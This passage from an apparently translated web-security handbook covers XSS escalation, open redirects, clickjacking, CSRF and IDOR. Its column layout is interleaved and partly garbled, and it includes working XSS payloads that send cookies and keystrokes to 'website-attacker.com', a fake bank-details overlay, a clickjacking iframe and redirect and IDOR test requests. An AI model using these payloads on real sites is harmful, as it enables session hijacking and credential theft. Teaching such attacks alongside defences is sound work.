• Reviews scan results and manual tests to identify keep up to date with the latest techniques and tools.
potential XSS vulnerabilities.
• Manually verify each finding to confirm that it is a
real vulnerability and not a false positive.
web vulnerabilities 49
in this chapter, you will be well on your way to becoming an expert
at detecting and preventing this critical vulnerability. Strengthening XSS Defenses
50 MILLIONAIRE RECORDS
their design or implementation. These flaws can allow attackers
to bypass the filters using techniques such as:
Example 3: Filtering based on regular expression patterns
• Alternative encoding: Attackers can use different
encoding schemes (URL, HTML, JavaScript) to repre- An even more complex filter could use regular expressions
sent special characters that would normally be blo- to identify and block malicious code patterns. However, attackers
cked by filters. can find ways to bypass these regular expressions using special
• HTML structure manipulation: Attackers can insert characters, encryption or obfuscation techniques.
HTML tags or attributes that are not properly filte- XSS filter logic errors can be difficult to detect and pre-
red, creating new execution contexts for their mali- vent, but they are a real threat to web application security. By
cious code. understanding how these bugs work and following security best
• Injection in event attributes: Attackers can inject practices, you can protect your application and your users from
JavaScript code into event attributes (such as onclick, XSS attacks. Remember that security is an ongoing process, and
onmouseover, etc.) that are executed when the user you should always be on the lookout for new vulnerabilities and
interacts with the page. attack techniques.
• Multi-sequence attacks: Attackers can split their XSS
payload into multiple parts and send them in different
requests or through different channels, thus evading
filters that look for specific patterns.
• Browser-based attacks: Attackers can exploit vulne-
rabilities in web browsers to execute malicious code
that would not be blocked by server-side filters.
web vulnerabilities 51
Example:
Escalating the attack
JavaScript
Once an attacker has discovered an XSS vulnerability in a
website, their primary goal is usually to go beyond simple code <script>
injection and exploit it to the fullest extent possible. This chapter document.onkeypress = function(e) {
explores the advanced techniques and strategies that attackers var key = (window.event) ? e.keyCode : e.which;
use to escalate their XSS attacks and cause a greater impact. var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://website-attacker.com/keylog-
1. Session and Cookie Theft ger', true);xhr.send('key=' + key);
};
• Objective: To hijack the session of a legitimate user </script>
in order to impersonate him.
• Technique: Inject an XSS script that captures the 3. Phishing Attacks
user's session cookies and sends them to the attacker.
• Objective: To trick users into revealing confidential
Example: information.
• Technique: Inject an XSS script that displays a fake
JavaScript pop-up window that mimics the appearance of the
legitimate website and requests sensitive data.
<script>
var cookies = document.cookie; Example:
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://website-attacker.com/steal- JavaScript
-cookies', true);
x h r . s e t R e q u e s t H e a d e r ( ' C o n t e n t -Ty p e ', <script>
'application/x-www-form-urlencoded'); window.onload = function() {
xhr.send('cookies=' + encodeURIComponent(cookies)); var overlay = document.createElement('div');
</script> overlay.innerHTML = '<div style="...">Enter your bank
details::</div>';
document.body.appendChild(overlay);
2. Keylogging };
</script>
• Purpose: To record user keystrokes to capture sen-
sitive information (passwords, credit card data, etc.). 4. Propagation of XSS to Other Users
• Technique: Inject an XSS script that logs each keys-
troke and sends the data to the attacker. • Objective: Amplify the attack by infecting other
users of the website.
• Technique: Use stored XSS to inject malicious code
into areas of the site where other users will see it, such
as forums or comments.
52 MILLIONAIRE RECORDS
5. XSS on Trusted Sites
6. Escalation of Privileges
web vulnerabilities 53
injection and testing of XSS payloads. Examples: Burp
Automated XSS Suite Intruder, ZAP Active Scan.
• Custom Scripts: Develop scripts to automate
Manually searching for XSS vulnerabilities can be a tedious specific tasks, such as injecting payloads into forms.
and time-consuming process. Fortunately, automation tools
and techniques exist that allow security researchers to scale Example: Use Burp Suite Intruder to inject a list of XSS
their efforts and discover XSS more efficiently. This chapter payloads into a search parameter and analyze the responses to
explores how to automate XSS hunting, from reconnaissance detect if any are executed.
to exploitation.
4. Automated Monitoring and Alerting
1. Automated Recognition
• Objective: Receive real-time notifications when an
1. Objective: Identify possible entry points for XSS XSS is discovered.
on a web site. Tools:
2. Tools: • XSS Hunter: Platform to generate XSS payloads
• Web crawlers (Crawlers): Crawl the website auto- and receive alerts when they are triggered.
matically, collecting URLs and parameters. Examples: • Burp Collaborator: Tool to detect interactions
Burp Suite Spider, ZAP Spider. with XSS payloads trying to communicate with exter-
• Vulnerability scanners: They look for known XSS nal servers.
patterns in web pages. Examples: Nikto, OWASP ZAP.
• Fuzzer: They send malicious inputs to website para- Example: Use XSS Hunter to generate an XSS payload
meters to test if they are vulnerable to XSS. Examples: and receive an email alert when a user visits a page con-
Wfuzz, ffuf. taining the payload.
Example: Use a web crawler to collect all the URLs of a 5. Integration with Development Workflows
website, then use a vulnerability scanner to scan each page
for XSS. 1. Objective: Incorporate XSS detection in the software
development process.
2. Automated Payload Generation 2. Tools:
• SAST (Static Application Security Testing):
1. Objective: Create custom XSS payloads to evade Analyzes source code for XSS vulnerabilities. Examples:
filters and maximize impact. SonarQube, Checkmarx.
2. Tools:
• XSS Payload Generators: Generate XSS payloads • DAST (Dynamic Application Security Testing):
based on different contexts and coding techniques. Performs security tests on the running application to
Examples: XSS Hunter, XSSer. detect XSS.
• Payload Lists: Compilations of known and effec-
tive XSS payloads. Example: Integrate a SAST scanner into the software
build process to detect and fix XSS vulnerabilities before
Example: Use a payload generator to create an XSS payload the application is deployed.
that executes even if it is encoded in HTML.
Legal and Ethical Considerations
3. Automated Injection and Testing
Automating XSS hunting should be done in a responsible
1. Objective: Inject XSS payloads in the identified entry and ethical manner. It is important to obtain proper permission
points and verify if they are executed. before testing on third-party websites and to avoid causing
2. Tools: damage or disruption.
• Penetration test frameworks: Automate the
54 MILLIONAIRE RECORDS
Tips for finding your first XSS
web vulnerabilities 55
2 . 3 - OPE N R E DI R E C T Example 2: Opening Redirect in a marketing e-mail
56 MILLIONAIRE RECORDS
and loss of user trust. By understanding how open redirects work
Risks and impacts and learning from real-world examples, you can better protect
web applications from these attacks. Always validate and sanitize
Open redirects can lead to several serious risks: user input, use whitelists and minimize user-controlled redirects
to mitigate the risks associated with open redirects.
1. Phishing attacks: Attackers can create URLs that
appear to be from a trusted source, but redirect users
to phishing sites, where they can steal login creden-
tials or other sensitive information.
2. Malware distribution: Users can be redirected to
sites hosting malware, leading to their devices being
compromised.
3. Loss of trust: If users are frequently redirected to
malicious sites from a trusted web application, it can
damage the organization's reputation.
// Input validation
$url = $_GET['url'];
if (!filter_var($url, FILTER_VALIDATE_URL) || !preg_mat-
ch('/^https:\/\/fanyv88.com:443\/https\/legitimate-site\.com/', $url)) {
die("URL invalid");
}
// Server-side redirection
header("Location: $url");
exit;
web vulnerabilities 57
Find your first Open Redirect How to exploit open redirects?
What are open redirects? Once an open redirect is identified, an attacker can build a
malicious link that redirects users to a website controlled by the
An open redirect occurs when a web application accepts attacker. This link can be distributed via email, social networks,
uncontrolled parameters that specify the destination URL of a forums, etc.
redirect. This allows attackers to build links that appear to come
from the legitimate website, but actually redirect users to mali- Using Google Dorks to Find Additional
cious sites. Redirect Parameters
Examples of open redirects: Redirect parameters on websites are a common target for
Cross-Site Scripting (XSS) attacks. These parameters are often
• URL parameters: not properly protected, allowing attackers to inject malicious
code that executes in the victim's browser. In this chapter, we
https://sitio-legitimo.com/redirect.php?url=https://site-ma- will explore how to use Google Dorks, a powerful technique for
licious.com searching Google for specific information, to discover vulnerable
redirect parameters on websites.
• Parameters on forms:
What is Google Dorks?
HTML
Google Dorks are special search queries that use advanced
<form action="/redirect.php" method="POST"> operators to refine search results. These operators allow you to
<input type="hidden" name="url" value="https://site-ma- search for specific file types, keywords in specific locations on
licious.com"> a web page, and even known vulnerabilities.
</form>
Finding Redirect Parameters with Google Dorks
How to find open redirects?
To find redirection parameters, we can use the following Google
• Manual analysis of the source code: Search for para- Dorks:
meters that control redirects and verify if they are pro-
perly validated. • inurl: Searches for a specific keyword in a web page
• Security analysis tools: Use web vulnerability scan- URL.
ners such as OWASP ZAP or Burp Suite to identify • site: Narrows the search to a specific web site.
open redirects.
• Google Dorking: Look for URL patterns that may By combining these operators, we can create dorks like
indicate the presence of open redirects. For example: the following:
site:site-legitimate.com inurl:redirect
• inurl:redirect site:.gov
• inurl:url site:.edu
• inurl:return site:.com
• inurl:redir site:.org
58 MILLIONAIRE RECORDS
Practical Examples Bypass protection
Suppose we find the following result using one of our dorks: Open redirect vulnerabilities allow attackers to manipu-
late a website's redirect logic to send users to malicious desti-
https://www.example.com/redirect.php?url=https://www. nations. Although many sites implement protections to prevent
google.com this type of attack, persistent attackers often find ways to evade
these defenses. This chapter explores common techniques used
In this case, the "url" parameter is a redirect parameter. We to circumvent overt redirect protection and how defenders can
can test if it is vulnerable to XSS by injecting a basic payload strengthen their security measures.
such as:
1. Character encoding and URL obfuscation
https://www.example.com/redirect.php?url=https://www.
google.com<script>alert(1)</script> • Purpose: To hide the true nature of the redirection
destination using character encoding or obfuscation
If the website is vulnerable, we will see a pop-up alert with techniques.
the number "1". Técnicas:
• URL encoding: Replace special characters in the
Additional Tips URL with their encoded equivalents (e.g. %2F for /).
Double encoding: Encode the URL several times to
• Try different dorks combinations: Experiment with evade simple filters.
different keywords and operators to find more redi- • Domain obfuscation: Using similar Unicode characters
rect parameters. to create domains that appear legitimate. (por ejemplo,
• Use automated tools: There are tools that automate xn--pple-43d.com para apple.com).
the search for redirect parameters using Google Dorks. • Example:
• Be ethical: Use this technique only on websites that
have given you permission for security testing. https://website-vulnerable.com/redirect?url=https%3A%-
2F%2Fwebsite-vulnerable.com
Precautions
2. Parameter abuse and validation logic
• Not all redirection parameters are vulnerable: Some
websites implement security measures to protect • Objective: To exploit errors in the implementation
against XSS. of the redirection validation logic.
• Google may block your IP address: If you perform too • Techniques:
many searches in a short period of time, Google may 1. Parameter manipulation: Modify unexpected para-
temporarily block your IP address. meters to bypass filters.
2. njecting special characters: Entering characters such
as blank spaces or new lines to alter the URL validation.
3. Redirect chains: Use multiple redirects to hide the
final destination.
• Ejemplo:
https://website-vulnerable.com/redirect?url=https://legiti-
mate-site.com?url=https://malicious-site.com
web vulnerabilities 59
protect their users from the risks associated with open
3. Client-side attacks redirect vulnerabilities.
Defenses against open redirection protection evasion - Objective: To bypass security filters and access controls.
- Technique: Use an open redirect to access internal or res
- Domain whitelisting: Allow redirects only to specific and tricted resources that would not normally be available.
trusted domains. - Example:
- Strict URL validation: Implement stringent validation of
the destination URL, including checking for special https://sitio-corporativo.com/redirect?url=https://sitio-cor
characters and URL normalization. porativo.com/admin
- Use of CSRF tokens: Use CSRF tokens to protect redi-
rect requests. An attacker could use this URL to access the corporate
- XSS protection: Prevent injection of JavaScript code that site's administration panel, even if he does not have valid
can perform malicious redirects. credentials.
- Monitoring and logging: Log all redirect requests to detect
suspicious patterns... 3. CSRF (Cross-Site Request Forgery) Attacks
By understanding evasion techniques and strengthening - Objective: Perform unauthorized actions on behalf of a
defenses, web developers and administrators can better user.
- Technique: Combine an open redirect with a CSRF attack
60 MILLIONAIRE RECORDS
to trick the user's browser into executing malicious
actions on a logged-in website.
- Example:
- CSRF tokens: Use CSRF tokens to protect against CSRF
An attacker could send an open redirect link to a user that attacks.
contains a hidden CSRF attack. Upon clicking the link, the - X-Frame-Options: Use the X-Frame-Options header to
user's browser would be redirected to a legitimate web prevent clickjacking attacks.
site, but the CSRF attack would run in the background,
performing unauthorized actions without the user's
knowledge.
4. Clickjacking attacks
https://sitio-vulnerable.com/redirect?url=https://sitio-ata
cante.com/xss.js
web vulnerabilities 61
2 . 4 - CL I C K JA C K I NG }
</style>
#2.4 </head>
<body>
<h1>Click here to win a prize!</h1>
<iframe src="https://www.facebook.com/
Clickjacking is a vulnerability in which an attacker tricks like_button_page"></iframe>
users into clicking on invisible or disguised web elements, such </body>
as buttons or links, without them realizing it. This type of attack </html>
can have serious consequences, such as disclosing personal ----------------
information, performing unwanted actions or compromising
system security.
Ejemplo 2: Clickjacking on a Security Settings Page
Understanding Clickjacking
Consider a bank account web page that has a button to
Clickjacking works by placing a transparent page or web ele- change security settings, such as enabling or disabling two-fac-
ment over another page that the user considers legitimate. In this tor authentication (2FA). An attacker could load this page in a
way, when the user tries to interact with the visible page, they transparent iframe over a page with a fake appeal, such as a
are actually interacting with the hidden page or hidden elements. personality quiz or online game. When the user thinks they are
interacting with the quiz or game, they are actually disabling 2FA
Real-life examples of Clickjacking on their bank account.
Let's explore some real examples to understand how click- Example 3: Clickjacking on a Payment Form
jacking works and the risks it can entail.
A malicious website could load a legitimate merchant's pay-
Example 1: Clickjacking on a Social Media "Like" Button ment form in a transparent iframe about a game or survey. Users
think they are interacting with the game or survey, but are actually
Imagine a web page that has a Facebook "Like" button. An entering their credit card information into the payment form.
attacker could create a malicious page that loads the legitimate
Facebook page in a transparent iframe, positioning the "Like" Risks and Consequences
button just below the user's cursor. The user thinks they are cli-
cking on a visible link or button on the malicious page, but they Clickjacking can lead to several serious consequences:
are actually clicking on the Facebook "Like" button.
1. Disclosure of Personal Information: Users can be tri-
---------------- cked into divulging sensitive information, such as pas-
<html> swords, credit card numbers, and other personal data.
<head> 2. Unwanted Actions: Users can perform actions on your
<style> behalf without your consent, such as posting on social
iframe { networks, sending emails, or changing security settings.
opacity: 0; /* Makes the iframe transparent */ 3. Compromise of System Security: Attackers can disable
position: absolute; security features, such as two-factor authentication,
top: 0; further compromising user security.
left: 0;
width: 100%;
height: 100%;
62 MILLIONAIRE RECORDS
Clickjacking Prevention
----------------
if (window.top !== window.self) {
window.top.location = window.self.location;
}
----------------
web vulnerabilities 63
3. Exploiting Clickjacking Vulnerabilities
Advanced search
• Objective: To demonstrate how an attacker can
Clickjacking, also known as click hijacking, is a malicious exploit a clickjacking vulnerability.
technique in which an attacker tricks a user into clicking on a • Techniques:
visible element on a web page, while actually interacting with a 1. Create a malicious page: Design a web page that
hidden or transparent element in an overlay. This chapter explo- overlays a transparent iframe over a legitimate button
res how to identify and exploit clickjacking vulnerabilities. on another page.
2. Luring the user: Using social engineering to lure
1. Understanding Clickjacking the user to the malicious page (e.g. through a mislea-
ding link).
• Objective: To become familiar with the basic con- 3. Trick the user: Make the user click on the visible
cepts of clickjacking and its different variants. button, which will actually activate the hidden button
• Types of Clickjacking: in the iframe.
1. Classic Clickjacking: The attacker superimposes a • Example: Create a malicious page that overlays
transparent iframe over a legitimate button. a transparent iframe over the "Buy Now" button of
2. Likejacking: The attacker tricks the user into cli- an e-commerce site, replacing it with a "Win a prize"
cking the Facebook "Like" button. button.
3. Cursorjacking: The attacker manipulates the mouse
cursor to point to an element other than the one the 4. Mitigating Clickjacking
user thinks he/she is clicking.
• Impact: Theft of credentials, disclosure of confiden- • Objective: To protect web pages against clickja-
tial information, installation of malware, execution of cking attacks.
unwanted actions. • Techniques:
1. X-Frame-Options: Configure this HTTP header to
2. Identifying Clickjacking Vulnerabilities control whether a page can be embedded in an iframe.
2. Content Security Policy (CSP): Use CSP policies to
• Objective: To find web pages susceptible to click- restrict the loading of external content and prevent
jacking attacks. the embedding of unauthorized iframes.
• Tools: 3. Framebusting: Implement scripts that detect if a
1. Manual inspection: Examine the source code of page is being loaded in an iframe and break the frame.
the page for iframes and overlapping layers. • Example: Set the X-Frame-Options header to "DENY"
2. Browser extensions: Use extensions such as to prevent a page from being embedded in an iframe.
"Clickjacking Test" to detect possible vulnerabilities.
3. Vulnerability scanners: Employ tools such as 5. Clickjacking on Mobile Devices
OWASP ZAP to automatically identify clickjacking
vulnerabilities. • Objective: To understand how clickjacking can affect
• Example: Analyze the source code of a web page mobile device users.
and discover a hidden iframe that loads an external site. • Challenges: Touch screens make it more difficult for
users to detect transparent overlays.
• Mitigation: Apply the same mitigation techniques as
for desktop browsers, in addition to considering res-
ponsive design and user experience on mobile devices.
64 MILLIONAIRE RECORDS
Content-Security-Policy: frame-ancestors *.domain-atta-
Overcoming protection cker.com
web vulnerabilities 65
Escalating the attack 3. Advanced Clickjacking Techniques
2. Clickjacking Escalation: Beyond the Click An attacker could create a web page that looks like a har-
mless online game. However, this page would contain an invisible
• Credential Theft: Using clickjacking to trick users into iframe superimposed over a bank transfer form from a legitimate
entering their credentials into a fake form superimpo- website. By clicking on the game buttons, the user would unk-
sed over a legitimate login page. nowingly be transferring money from his or her bank account.
• Configuration Changes: Inducing users to change
their account settings (e.g., enabling remote access)
without their knowledge.
• Unwanted Posting: Tricking users into posting unwan-
ted content on their social networks or performing
actions on other platforms.
• Malware Installation: Hiding a malware download link
under a seemingly harmless button.
• Likejacking: Tricking users into clicking "Like" on
Facebook pages without their consent.
• Cursorjacking: Manipulate the mouse cursor so that
the user clicks in a different place than intended.
66 MILLIONAIRE RECORDS
web vulnerabilities 67
2 . 5 - CR O S S - S I T E R E- the request is made with the user's active session and the money
is transferred to the attacker's account.
68 MILLIONAIRE RECORDS
CSRF Prevention
--------------
<form action="/change_password" method="POST">
<input type="hidden" name="csrf_token"
value="random_token">
<!-- Other form fields -->
</form>
--------------
--------------
// PHP example
if ($_SERVER['HTTP_REFERER'] !== 'https://example-we-
bsite.com') {
die('Unauthorized request');
}
--------------
Set-Cookie: sessionid=abc123; SameSite=Strict; Secure;
HttpOnly
--------------
web vulnerabilities 69
• Link-Based Attacks: Sending malicious links via email,
Advanced search instant messages or social networks, enticing the vic-
tim to click on them.
CSRF is a type of attack that tricks an authenticated user • Form-Based Attacks: Inserting hidden forms in web-
into performing unwanted actions on a web application to which sites that the victim visits frequently, taking advantage
they are logged in. This chapter delves into the techniques and of the browser's autocomplete function to send unau-
tools used to identify and exploit CSRF vulnerabilities, as well thorized requests.
as key defensive measures. • JavaScript-based attacks: Injecting malicious
JavaScript code into legitimate websites that the vic-
1. Understanding CSRF tim visits to send CSRF requests without their direct
interaction.
• How it works: An attacker sends a malicious link or
form to the victim, who, upon clicking or interacting Example: Create a hidden form on a popular website that,
with it, unknowingly sends a request to the vulnerable when loaded, sends a request to change the email address
web application. The application processes the request associated with the victim's account in another vulnerable
as if it came from the legitimate user, which can lead application.
to unauthorized changes to data or settings.
• Example: An attacker sends a link to the victim that 4. Defensive Measures against CSRF
looks harmless, but actually contains a hidden request
to transfer money from the victim's bank account to • Anti-CSRF tokens: Generate unique and unpredic-
the attacker. table tokens for each request and verify their validity
on the server side.
2. Identifying CSRF Vulnerabilities • Verification of the Request Origin (Origin Header):
Ensure that the requests come from the same origin
• Manual Analysis: Examine the source code and appli- (domain, port, protocol) as the web application.
cation behavior for requests that do not properly verify • SameSite Cookies: Set cookies with the SameSite attri-
the origin of the request or lack anti-CSRF tokens. bute to restrict their delivery to cross-origin requests.
• Automated Tools: • CSRF Protection in Web Frameworks: Many web fra-
1. Vulnerability Scanners: Burp Suite, OWASP ZAP: Can meworks offer built-in CSRF protection mechanisms.
automatically detect possible CSRF vulnerabilities in • Example: Implement an anti-CSRF token in a pas-
a web application. sword change form, so that each time the form is loa-
2. Browser Extensions: CSRF Tester, Tamper Data: Allow ded, a new token is generated and its validity is che-
to modify and resend requests to test for the pre- cked when the request is submitted.
sence of CSRF.
Additional Considerations
Example: Using Burp Suite to intercept and modify a legi-
timate application, removing or modifying the anti-CSRF • CSRF in APIs: RESTful APIs can also be vulnerable
token, to verify if the application is vulnerable. to CSRF if appropriate protection measures are not
implemented.
3. Exploiting CSRF Vulnerabilities • CSRF in Single Page Applications (SPA): SPAs may
require specific CSRF mitigation strategies due to their
• Creation of Malicious Payloads: Generate links, dynamic nature.
forms or JavaScript code that, when executed by the
victim, send the malicious request to the vulnerable
application.
70 MILLIONAIRE RECORDS
• Example:
Bypass protection 1. An attacker can create a malicious link that, when
clicked, sends a GET request with malicious JSON data.
CSRF protection mechanisms are designed to prevent these • Solution:
attacks, but clever attackers often find ways to evade them. This 1. Do not accept JSON requests via GET.
chapter explores the techniques and strategies attackers use to 2. Use HTTP POST verbs for requests that modify
circumvent CSRF protections and how developers can streng- data.
then their defenses.
4. CSRF Flash Attacks
1. Weak or Predictable CSRF Tokens
• Issue: Adobe Flash had a vulnerability that allowed
• Problem: If CSRF tokens are easy to guess or predict, attackers to bypass CSRF protections by manipulating
attackers can spoof valid requests. Flash policy files (crossdomain.xml).
• Examples: • Solution:
1. Tokens based on simple patterns (e.g., numerical 1. Flash is no longer supported by most browsers,
sequences). which mitigates this issue.
2. Tokens that do not change frequently enough. 2. Ensure that Flash policy files are configured cor-
3. Tokens stored in insecure locations (e.g., cookies rectly to restrict cross-domain access.
without the HttpOnly attribute).
• Solution: 5. XSS Based Attacks
1. Generate cryptographically secure and random CSRF
tokens. • Problem: If a website is vulnerable to XSS, an atta-
2. Change tokens with each request or session. cker can inject a malicious script that makes CSRF
3. Store tokens on the server side (e.g., in the user's requests on behalf of the user.
session). • Solution:
1. Protecting against XSS is critical to prevent XSS-
2. Referer Header Spoofing based CSRF attacks.
2. Implement a content security policy (CSP) to restrict
• Problem: Some CSRF protection mechanisms rely on script execution.
the Referer header to verify the origin of the request.
Attackers can spoof this header. 6. Social Engineering
• Example:
1. An attacker can send a CSRF request from his own • Problem: Attackers can use social engineering
website and set the Referer header to match the des- techniques to trick users into clicking on malicious
tination website. links or performing actions that trigger CSRF attacks.
• Solution: • Solution:
1. Do not rely solely on the Referer header. 1. Educate users about CSRF risks and how to iden-
2. Combine the Referer header with other CSRF pro- tify suspicious links and emails.
tection mechanisms, such as tokens.
CSRF Protection Best Practices
3. JSON CSRF with HTTP GET Verbs
• Use cryptographically secure and random CSRF tokens.
• Problem: Some websites accept JSON requests via • Change tokens with each request or session.
the HTTP GET verb, which facilitates CSRF attacks, as • Store tokens on the server side.
attackers can include the JSON payload in the URL. • Do not rely solely on the Referer header.
web vulnerabilities 71
• Do not accept JSON requests via GET. 4. Header-Based CSRF
• Protect against XSS.Educate users about CSRF risks.
• Objective: Evade CSRF protections that focus
on form parameters or request body. Technique:
Escaling the attack Attackers can inject malicious CSRF tokens into custom
HTTP headers, such as Referer or X-Requested-With.
Cross-Site Request Forgery (CSRF) attacks are a significant • Mitigation: Validate CSRF tokens in all possible loca-
threat to web applications, as they allow attackers to perform tions, including HTTP headers.
unauthorized actions on behalf of a legitimate user. This chapter
dives into advanced techniques that attackers can use to esca- 5. Supply Chain CSRF
late their CSRF attacks and cause greater impact.
• Objective: Attack web applications through CSRF
1. Flash CSRF vulnerabilities in libraries or third-party components
they use.
• Objective: Exploit Adobe Flash functionality to bypass • Technique: Attackers can inject malicious code into a
some traditional CSRF protections. third-party library or component that is then included
• Technique: Flash SWF files can make HTTP requests in the targeted web application.
without being subject to the same-origin policy, • Mitigation: Keep libraries and components up to date,
allowing attackers to send CSRF requests from dif- audit third-party code for CSRF vulnerabilities.
ferent domains.
• Mitigation: Disable Flash or restrict its access to spe- 6. CSRF Combined with Other Vulnerabilities
cific domains.
• Objective: Increase the impact of a CSRF attack by
2. JSON CSRF combining it with other vulnerabilities, such as XSS
or SQL injection.
• Objective: Exploit web applications that accept data • Technique: Attackers can use CSRF to inject mali-
in JSON format. cious code that exploits other vulnerabilities in the
• Technique: Attackers can create forms or scripts that application.
send POST requests with malicious JSON data to the • Mitigation: Implement a layered defense against
vulnerable application. multiple vulnerabilities, including CSRF, XSS and SQL
• Mitigation: Implement CSRF tokens in JSON requests injection.
and validate the content type of the requests.
Advanced CSRF Defenses
3. Partial Page CSRF
• Robust CSRF tokens: Use unpredictable and unique
• Objective: Attack web applications that use AJAX to CSRF tokens for each user and session.
load dynamic content. • Double Submit Cookies: Submit the CSRF token in
• Technique: Attackers can send CSRF requests that both a cookie and a form parameter.
target specific AJAX endpoints, which can result in • Strict Validation: Validate the origin of the request,
unauthorized page changes. the CSRF token and other relevant parameters.
• Mitigation: Protect AJAX endpoints with CSRF tokens • SameSite Cookies: Configure cookies with the
and validate requests. SameSite attribute to restrict their delivery in cros-
s-site requests.
72 MILLIONAIRE RECORDS
web vulnerabilities 73
2 . 6 - I D O R # 2. 6 Example 2: Downloading Sensitive Files
Example 1: Access to User Data 1. Sensitive Data Exposure: The attacker can access other
users' personal, financial or medical information.
Imagine an account management system where users can 2. Resource Manipulation: The attacker can modify or
view their profiles using a URL like the following: delete resources that do not belong to him, such as
logs, files or settings.
-------------- 3. Legal and Reputational Risk: Exposure of sensitive
https://example.com/profile?id=123 data can lead to legal consequences and damage the
-------------- company's reputation.
--------------
https://example.com/profile?id=124
--------------
74 MILLIONAIRE RECORDS
IDOR prevention IDOR is a critical vulnerability that can lead to serious conse-
quences if not handled properly. By understanding how it works
To prevent IDOR attacks, web developers should imple- and learning from real-world examples, you can better protect
ment the following measures: your web applications and your users. Implement stringent access
controls, use indirect identifiers and ensure server-side validation
1. Rigorous Access Control: Ensure that all requests acces- and authorization to mitigate the risks associated with IDOR.
sing specific objects or data verify that the authenticated user
has the appropriate permissions.
--------------
// PHP Example
$user_id = $_SESSION['user_id'];
$requested_profile_id = $_GET['id'];
--------------
--------------
// Verify that the user has permissions to access the reques-
ted profile
if (!hasAccessToProfile($user_id, $requested_profile_id)) {
die('Unauthorized access');
}
--------------
--------------
// Generate a unique identifier for each object
$unique_id = generateUniqueIdentifier($object_id);
--------------
--------------
// Validate and authorize the request on the server
if (!isValidRequest($request) || !isAuthorized($user, $action)) {
die('Invalid or unauthorized request');
}
--------------
web vulnerabilities 75
3. Exploiting IDOR
Advanced search
Parameter manipulation
IDOR vulnerabilities are a type of authorization flaw that • Increment or decrement values: Change the value
allows attackers to access resources they should not have access of an ID parameter to try to access adjacent resources.
to. This occurs when a web application uses user input directly • Test predictable values: If the IDs are sequential
to access objects or data without performing proper authoriza- or follow a pattern, test nearby values to find other
tion checks. This chapter delves into the identification, exploi- resources.
tation and prevention of IDOR. • Utilizar herramientas de fuerza bruta: Automatizar
la prueba de diferentes valores de parámetros para
1. Understanding IDOR encontrar ID válidos.
2. Identifying IDOR
Manual analysis:
• Check URLs: Look for parameters in URLs that may
be direct references to objects (e.g., id, user_id, file_id).
• Test variations: Attempt to modify parameter values
to see if other resources can be accessed.
• Analyze responses: Search for sensitive information
that is disclosed without authorization (e.g., user names,
email addresses, financial data).
Automated tools:
• Vulnerability scanners: Use web scanners to identify
common IDOR patterns (e.g., Burp Suite, OWASP ZAP).
• Interceptores de tráfico: Analizar el tráfico entre el
navegador y la aplicación web para buscar referencias
directas a objetos y posibles vulnerabilidades IDOR.
76 MILLIONAIRE RECORDS
Race Condition Attacks:
Bypass protection • Description: Attackers exploit race conditions in the
application to access temporarily accessible resources.
• Example: Send multiple simultaneous requests to
Understanding IDOR perform an action before access controls are applied.
IDOR occurs when a web application exposes direct refe- Real World Examples of IDOR Attacks
rences to internal objects (such as files, database records or
user identifiers) without implementing adequate access con- • Facebook: In 2019, an IDOR vulnerability was dis-
trols. This allows attackers to manipulate these references covered that allowed attackers to access private pho-
to access sensitive data or perform unauthorized actions. tos of users.
• Shopify: In 2020, an IDOR vulnerability was disclo-
IDOR Protection Avoidance Techniques sed that allowed attackers to access order information
from other merchants.
Guessing or Predicting Identifiers • Instagram: In 2021, an IDOR vulnerability was found
• Description: Attackers attempt to guess or pre- that allowed attackers to view and download private
dict sequential identifiers or predictable patterns in photos and videos.
object references.
• Example: Changing the user ID in a URL to access
another user's data.
Parameter Manipulation:
• Description: Attackers modify the parameters of
an HTTP request to access restricted resources.
• Example: Changing the value of a hidden parame-
ter in a form to modify the behavior of the application.
Enumeration Attacks:
• Description: Attackers collect information about
the application structure and valid identifiers.
• Example: Analyze source code or application res-
ponses to identify patterns in identifiers.
Timing attacks:
• Description: Attackers measure application res-
ponse time to infer information about valid identifiers.
• Example: Observe differences in response time
when accessing valid and invalid resources.
web vulnerabilities 77
Escalating the attack Automating the attack
IDORs can be exploited in various ways to escalate attacks: IDOR (Insecure Direct Object References) vulnerabilities can
be exploited manually, but automation allows attackers to
- Data enumeration: An attacker can iterate through a scale their efforts and discover a larger number of IDORs
range of identifiers to discover and access additional more efficiently. This chapter delves into techniques and
resources. tools to automate the detection and exploitation of these
- Sensitive data access: An attacker can access sensitive vulnerabilities.
information, such as personal, financial or authentica-
tion data. 1. Automated IDORs Recognition
- Unauthorized modification: An attacker can change
the state of resources, such as the status of an order - Objective: To identify patterns and structures in URLs
or a user's permissions. and parameters that suggest the presence of IDORs.
- Data deletion: An attacker can delete resources, such - Tools:
as files or database records. 1. Web Crawlers: Collect URLs and website parameters
for further analysis.
IDOR Mitigation 2. Traffic Analyzers: Examine HTTP requests and res-
ponses to identify numerical or sequential patterns in
- Authorization verification: Implement strict authori- parameters.
zation controls for each request that accesses or modi- 3. Custom Scripts: Develop scripts to look for specific
fies a resource. patterns in URLs or parameters.
- Use of indirect identifiers: Use indirect identifiers - Example: Use a web crawler to collect all the URLs of
(UUIDs, tokens) instead of direct references. a website, then analyze them for parameters containing
- Parameter validation: Validate all input parameters to incremental numeric identifiers (e.g., user_id=123).
ensure they are valid and expected.
- Principle of least privilege: Grant users only the per- 2. Parameter Fuzzing
missions necessary to perform their tasks.
- Objective: To systematically test different parameter
IDOR detection tools values to detect IDORs.
- Tools:
- Web vulnerability scanners: Burp Suite, OWASP ZAP 1. Fuzzers: They automatically send different values
- Manual testing: Careful analysis of application requests (numbers, sequences, etc.) to the identified parameters.
and responses. 2. Penetration testing frameworks: They include para-
meter fuzzing functionalities.
Examples of payloads for detecting IDOR - Example: Using a fuzzer to send different numeric
values to the user_id parameter in a URL and observe
GET /api/user/123/profile HTTP/1.1 if other users' information is accessed.
GET /api/user/124/profile HTTP/1.1
GET /api/user/1/profile HTTP/1.1 3. Response Analysis
By changing the user ID in the URL, you can try to access - Objective: Detect changes in server responses that
other users' profiles if the application is vulnerable to IDOR. indicate the existence of an IDOR..
